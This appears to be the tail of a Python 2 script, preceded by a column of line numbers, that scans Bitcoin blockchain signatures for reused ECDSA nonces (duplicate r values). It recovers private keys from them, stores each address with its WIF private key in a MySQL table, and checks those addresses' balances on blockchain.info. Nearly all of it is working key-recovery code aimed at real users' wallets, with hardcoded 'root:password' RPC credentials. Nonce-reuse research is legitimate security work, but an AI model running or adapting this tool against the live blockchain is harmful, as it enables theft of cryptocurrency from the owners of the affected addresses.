1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
| '''
# generate signdata
# replace input script with funding script of 17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ
for txin in jsontx['ins']:
txin['script']=''
funding_txid = jsontxverbose['vin'][index]['txid']
funding_tx = rpc.rpc.getrawtransaction(funding_txid,1)
#pprint.pprint(funding_tx)
funding_script = funding_tx['vout'][0]['scriptPubKey']['hex']
jsontx['ins'][index]['script']=funding_script
signdata= pybitcointools.serialize(jsontx) + "01000000" #SIGHASH ALL
import hashlib
digest = hashlib.sha256(hashlib.sha256(signdata.decode("hex")).digest()).digest()
logger.debug(digest[::-1].encode("hex"))
pause("--->")
'''
pause("create verifying key...")
vk = VerifyingKey.from_string(txdump['pub'].decode("hex"), curve=curve)
digest = txdump['z']
print repr(pubkey)
print repr(txdump['pub'])
z = int(digest.decode("hex"),16)
verifies = vk.pubkey.verifies(z,Signature(sig[0],sig[1]))
logger.debug("verify --> %s "%(verifies))
if not verifies:
pause("--verify false!--",critical=True)
#print vk.verify_digest(scriptSigasm.split("[ALL]",1)[0].decode("hex"), digest, sigdecode=ecdsa.util.sigdecode_der)
return BTCSignature(sig=Signature(sig[0],sig[1]),
h=z,
pubkey=pubkey,
)
##FIXME: db has some unhex(00000000000000000000000...00) datasets for r/s .. resolve them
def recover_key_for_r(r):
r=r.lower()
txs=set([])
bsigs = []
# sqilte get txids for colliding r
#
#db = sqlite3.connect("blockchain.new.sqlite3")
logger.debug("db connect")
db = MySQLdb.connect(*MYSQL_PARMS)
cursor = db.cursor()
logger.debug("query")
cursor.execute('SELECT HEX(tx) FROM scriptSig_deduped WHERE r=UNHEX(%s)', (r,))
for row in cursor.fetchall():
txs.add(row[0])
logger.debug("transactions: %r" % txs)
logger.debug("btc connect...")
rpc = BtcRpc("http://root:password@localhost:3306")
logger.debug("btc connected!")
for nr,txid in enumerate(txs):
try:
logger.debug("working txid: %r"%txid)
args = rpc.get_args_for_r(txid, r).next()
logger.debug("args: %r" % args)
bsigs.append(verify_vin(txid,args['index']))
logger.debug("txid: %r" % txid)
except Exception, ae: # assertionerror
logger.exception(ae)
# try all combinations to recover privkey
# todo: might have multiple results! better yield results and filter already found ones..
# e.g. if multiple r but different pubkey
import itertools
print bsigs
ex= None
for comb in itertools.combinations(bsigs, 2):
try:
comb[0].recover_from_btcsig(comb[1])
return comb[0]
except AssertionError, e:
ex = e
print e
pause("--nextbtcsig--")
if ex:
raise ex
raise Exception("--cannot-recover--")
def get_dup_r():
#db = sqlite3.connect("blockchain.new.sqlite3")
db = MySQLdb.connect(*MYSQL_PARMS)
cursor = db.cursor()
sql_dup = """SELECT r,s,tx, COUNT(r) as c
FROM scriptSig_deduped
GROUP BY r HAVING ( c > 1 )"""
for r,s,tx in cursor.execute(sql_dup):
yield {'r':r,'s':s,'tx':tx}
def batch(iterable, n=1):
l = len(iterable)
for ndx in range(0, l, n):
yield iterable[ndx:min(ndx + n, l)]
def scriptsig_to_ecdsa_sig(asn_sig):
asn_sequence_tag_start = asn_sig.index(
"\x30") # sometimes there are more instructions than just a push, so find the 30 asn1 sequence start tag
# print asn_sequence_tag, asn_sig.encode("hex")
dersig = asn1der.decode(asn_sig[asn_sequence_tag_start:])
return { # 'hex': v.get("hex"),
'r': long(dersig[0][0]),
's': long(dersig[0][1])}
def get_sigpair_from_csv(csv_in, start=0, skip_to_tx=None, want_tx=[]):
want_tx=set(want_tx)
skip_entries = True
with open(csv_in,'r') as f:
for nr,line in enumerate(f):
if nr<start:
if nr%100000==0:
print "skip",nr,f.tell()
continue
if nr % 10000000 == 0:
print "10m", nr
try:
# read data
cols = line.split(";",1)
tx = cols[0].strip()
if skip_to_tx and tx==skip_to_tx:
skip_entries=False
# skip this entry - already in db
continue
if skip_to_tx and skip_entries:
print "skiptx",nr, tx
continue
if want_tx and tx not in want_tx:
continue
scriptsig = cols[1].decode("base64")
#print repr(scriptsig)
#print pybitcointools.deserialize_script(scriptsig)
sig = scriptsig_to_ecdsa_sig(scriptsig)
sig['tx'] = tx
sig['nr'] = nr
yield sig
except ValueError, ve:
#print tx,repr(ve)
pass
except Exception, e:
print tx, repr(e)
def find_fixed_id_for_tx_s(f, _tx, _s):
f.seek(0)
for line in f:
line = line.strip()
if not line: continue
r,s,tx = line.split(",")
if s.lower()==_s.lower() and tx.lower()==_tx.lower():
return r,s,tx
def getrawtx(txid):
for _ in xrange(10):
e=None
try:
rpc = BtcRpc("http://root:password@localhost:3306")
return rpc.rpc.getrawtransaction(txid, 1)
except Exception , e:
pass
raise e
def dump_tx_ecdsa(txid, i):
tx = getrawtx(txid)
vin = tx['vin'][i]
if 'coinbase' in vin:
return
prev_tx = getrawtx(vin['txid'])
prev_vout = prev_tx['vout'][vin['vout']]
prev_type = prev_vout['scriptPubKey']['type']
script = prev_vout['scriptPubKey']['hex']
if prev_type == 'pubkeyhash':
sig, pub = vin['scriptSig']['asm'].split(' ')
elif prev_type == 'pubkey':
sig = vin['scriptSig']['asm']
pub, _ = prev_vout['scriptPubKey']['asm'].split(' ')
else:
logger.warning("%6d %s %4d ERROR_UNHANDLED_SCRIPT_TYPE" % (txid, i))
raise
x = pub[2:66]
#print sig
if sig[-1] == ']':
sig, hashcode_txt = sig.strip(']').split('[')
if hashcode_txt == 'ALL':
hashcode = 1
elif hashcode_txt == 'SINGLE':
hashcode = 3
else:
print hashcode_txt
logger.warning("xx %s %4d ERROR_UNHANDLED_HASHCODE" % (txid, hashcode_txt))
raise
else:
hashcode = int(sig[-2:], 16)
sig = sig[:-2]
modtx = pybitcointools.serialize(pybitcointools.signature_form(pybitcointools.deserialize(tx['hex']), i, script, hashcode))
z = hexlify(pybitcointools.txhash(modtx, hashcode))
_, r, s = pybitcointools.der_decode_sig(sig)
r = pybitcointools.encode(r, 16, 64)
s = pybitcointools.encode(s, 16, 64)
#print verify_tx_input(tx['hex'], i, script, sig, pub)
return {'txid':txid,'i':i,'x':x,'r':r,'s':s,'z':z,'pub':pub}
def get_balance_for_address(addr):
r = requests.get("https://blockchain.info/de//q/addressbalance/%s"%addr)
return int(r.text)
def check_balances():
db = MySQLdb.connect(*MYSQL_PARMS)
cursor = db.cursor()
cursor.execute(
"select address from bitcoin.privkeys")
for a in cursor.fetchall():
try:
print "%s - %s"%(a, get_balance_for_address(a))
except Exception, e:
print "%s - %s" % (a, e)
raw_input("-->done")
def recover_privkey():
db = MySQLdb.connect(*MYSQL_PARMS)
cursor_insert = db.cursor()
cursor = db.cursor()
cursor.execute("select id,hex(r) from bitcoin.r_dup where r not in (select r from bitcoin.privkeys) order by RAND()")
#cursor.execute("select id,hex(r) from bitcoin.r_dup where r=unhex('E44A8A310ECB6CF6E2D7BC9473871FB6526DAA7D18A1F8E32CEDCC7E2BCB7154')")
for id, r in cursor.fetchall():
logger.info("%r -- %r"%(id,r))
if "00000000000000000000000000000000000000000000000000000000000000" in r:
continue
try:
rsig = recover_key_for_r(r)
print "->Privkey recovered: ", rsig.address(), rsig.privkey_wif(), r
recovered_sigs.append(rsig)
cursor_insert.execute("select privkey from bitcoin.privkeys where r=unhex(%s)",(r,))
if not cursor_insert.rowcount:
cursor_insert.execute("INSERT IGNORE INTO bitcoin.privkeys (r,address,privkey) values (unhex(%s),%s,%s) ",(r,rsig.address(), rsig.privkey_wif()))
db.commit()
else:
pause("--duplicate--")
#cursor.executemany("UPDATE bitcoin.privkeys set address=%s, privkey=%s where r=unhex(%s)",(rsig.address, rsig.privkey_wif,r))
pause("YAY")
except (Exception,AssertionError) as ae:
print ae
#raise ae
print recovered_sigs
pause("--next_r---")
print ""
print ""
print " Address Privkey r"
for rsig in recovered_sigs:
print "Privkey recovered: ", rsig.address(), rsig.privkey_wif(), rsig.sig.r
print ""
raise
### --- import stuff
class DbMysql(object):
def __init__(self, host, username, password, db):
self.db = MySQLdb.connect(host=host,
user=username,
passwd=password,
db=db)
self.cursor = self.db.cursor()
def insert_batch_scriptSig(self, entries, ignore=False):
data = [(e['tx'], bignum_to_hex(e['r']), bignum_to_hex(e['s'])) for e in entries]
#self.cursor.execute("INSERT IGNORE INTO scriptSig (tx,r,s) VALUES (%s, x%s, %s)", data[0])
for bdata in batch(data, 50):
self.cursor.executemany("INSERT IGNORE INTO scriptsig_deduped (tx,r,s) VALUES (UNHEX(%s), UNHEX(%s), UNHEX(%s))",bdata)
logger.info("db insert: scriptsig_deduped %d"%len(data))
def update_stats(self, key, value):
self.cursor.execute("INSERT INTO `stats` VALUES (%s,%s) on DUPLICATE KEY UPDATE `value`=%s", (key,value,value))
logger.info("update stats: %-40s = %s" % (key, value))
def get_stats(self, key, default):
try:
self.cursor.execute('SELECT * FROM stats WHERE `key`=%s LIMIT 1', (key,))
for row in self.cursor.fetchall():
return row[1] if len(row[1]) else default
except Exception, e:
return default
return default
def commit(self):
self.db.commit()
def close(self):
self.commit()
self.db.close()
def import_csv_to_mysql(csv_in):
"""
config: path_tx_in and DbMysql credentials
:return:
"""
logging.basicConfig(loglevel=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.debug("hi")
db = DbMysql(*MYSQL_PARMS)
sigs = []
t_read_diff = time.time()
for sig in get_sigpair_from_csv(csv_in=csv_in,
start=0,
#skip_to_tx='a27268516da6f91599a99c7ee9ac66fac4da75f70da3421d8d4eec46767b8234',
):
sigs.append(sig)
if len(sigs) > 1000000:
logger.debug("%u|about to commit 1mio sigs, reading csv took %f" % (
sig['nr'], time.time() - t_read_diff))
t_db_start = time.time()
db.insert_batch_scriptSig(sigs)
db.commit()
logger.debug("!! db insert took: %f" % (time.time() - t_db_start))
t_read_diff = time.time()
sigs = []
# make sure to commit outstanding sigs
if sigs:
db.insert_batch_scriptSig(sigs)
db.commit()
db.close()
if __name__=="__main__":
logging.basicConfig(loglevel=logging.DEBUG, format="%(funcName)-20s - %(message)s")
logger.setLevel(logging.DEBUG)
logger.warning("#" * 40)
logger.warning("#" + "WARNING: experimental script. no warranty. you've been warned!")
logger.warning("#" * 40)
import sys
args = sys.argv[1:]
if not len(args):
time.sleep(0.5) # too lazy to look up how to flush the logger
print "USAGE: <mode> <args>"
print "\n"
print "examples: this.py [selftest] import tx_in.csv.tmp # import tx_in.csv to mysql db"
print " this.py recover # recover nonce_reuse signatures from mysql db"
print "\n\n MYSQL config see var: MYSQL_PARMS "
sys.exit(1)
if "selftest" in args:
logger.debug("selftest")
selftest()
args.remove("selftest")
if args[0]=="import":
logger.info("import: %r" % args)
import_csv_to_mysql(args[1])
logger.info("--done--")
sys.exit()
if args[0]=="recover":
logger.debug("recover")
recovered_sigs = []
#check_balances()
recover_privkey()
# rsig = recover_key_for_r(18380471981355278106073484610981598768079378179376623360720556873242139981984L)
dup_r = get_dup_r
"""
dup_r = [113563387324078878147267949860139475116142082788494055785668341901521289846519,
18380471981355278106073484610981598768079378179376623360720556873242139981984,
19682383735358733565748628081379024202682929012377912380310432818686294127462,
6828441658514710620715231245132541628903431519484374098968817647395811175535]
#dup_r = [bignum_to_hex(19682383735358733565748628081379024202682929012377912380310432818686294127462),]
dup_r = ["2B83D59C1D23C08EFD82EE0662FEC23309C3ADBCBD1F0B8695378DB4B14E7366"]
#dup_r = (bignum_to_hex(rr) for rr in dup_r)
#dup_r = [bignum_to_hex(6828441658514710620715231245132541628903431519484374098968817647395811175535)]
"""
for r in dup_r:
r = r.lower()
print "r->",r
try:
rsig = recover_key_for_r(r)
print "->Privkey recovered: ", rsig.address(), rsig.privkey_wif(), r
recovered_sigs.append(rsig)
except Exception, ae:
print repr(ae)
raise ae
print ""
print ""
print " Address Privkey r"
for rsig in recovered_sigs:
print "Privkey recovered: ",rsig.address(), rsig.privkey_wif(), rsig.sig.r
print "" |